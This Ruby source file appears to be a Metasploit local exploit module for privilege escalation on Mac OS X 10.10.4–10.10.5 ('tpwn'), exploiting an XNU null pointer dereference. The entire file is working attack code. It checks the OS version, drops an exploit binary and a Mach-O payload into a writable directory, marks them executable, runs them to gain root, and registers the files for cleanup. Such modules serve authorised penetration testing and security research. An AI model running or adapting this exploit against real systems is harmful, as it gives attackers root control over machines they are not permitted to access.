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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = NormalRanking
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  include Msf::Post::File
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  include Msf::Post::OSX::Priv
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  include Msf::Post::OSX::System
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  include Msf::Exploit::EXE
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Mac OS X "tpwn" Privilege Escalation',
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      'Description'    => %q{
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        This module exploits a null pointer dereference in XNU to escalate
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        privileges to root.
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        Tested on 10.10.4 and 10.10.5.
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      },
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      'Author'         => [
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        'qwertyoruiop', # Vulnerability discovery and PoC
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        'wvu'           # Copy/paste monkey
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      ],
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      'References'     => [
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        ['URL', 'https://github.com/kpwn/tpwn']
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      ],
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      'DisclosureDate' => '2015-08-16',
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      'License'        => MSF_LICENSE,
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      'Platform'       => 'osx',
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      'Arch'           => ARCH_X64,
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      'SessionTypes'   => ['shell'],
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      'Privileged'     => true,
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      'Targets'        => [
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        ['Mac OS X 10.10.4-10.10.5', {}]
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      ],
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      'DefaultTarget'  => 0
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    ))
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    register_advanced_options [
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      OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
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    ]
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  end
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  def base_dir
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    datastore['WritableDir'].to_s
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  end
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  def check
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    ver?? CheckCode::Appears : CheckCode::Safe
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  end
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  def exploit
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    if is_root?
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      fail_with Failure::BadConfig, 'Session already has root privileges'
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    end
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    if check != CheckCode::Appears
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      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
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    end
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    unless writable? base_dir
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      fail_with Failure::BadConfig, "#{base_dir} is not writable"
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    end
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    print_status("Writing exploit to `#{exploit_file}'")
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    write_file(exploit_file, binary_exploit)
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    register_file_for_cleanup(exploit_file)
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    print_status("Writing payload to `#{payload_file}'")
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    write_file(payload_file, binary_payload)
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    register_file_for_cleanup(payload_file)
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    print_status('Executing exploit...')
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    cmd_exec(sploit)
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    print_status('Executing payload...')
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    cmd_exec(payload_file)
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  end
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  def ver?
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    Rex::Version.new(get_sysinfo['ProductVersion']).between?(
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      Rex::Version.new('10.10.4'), Rex::Version.new('10.10.5')
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    )
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  end
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  def sploit
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    "chmod +x #{exploit_file} #{payload_file} && #{exploit_file}"
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  end
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  def binary_exploit
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    File.read(File.join(
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      Msf::Config.data_directory, 'exploits', 'tpwn', 'tpwn'
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    ))
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  end
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  def binary_payload
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    Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
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  end
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  def exploit_file
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    @exploit_file ||=
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      "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
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  end
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  def payload_file
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    @payload_file ||=
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      "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
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  end
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end
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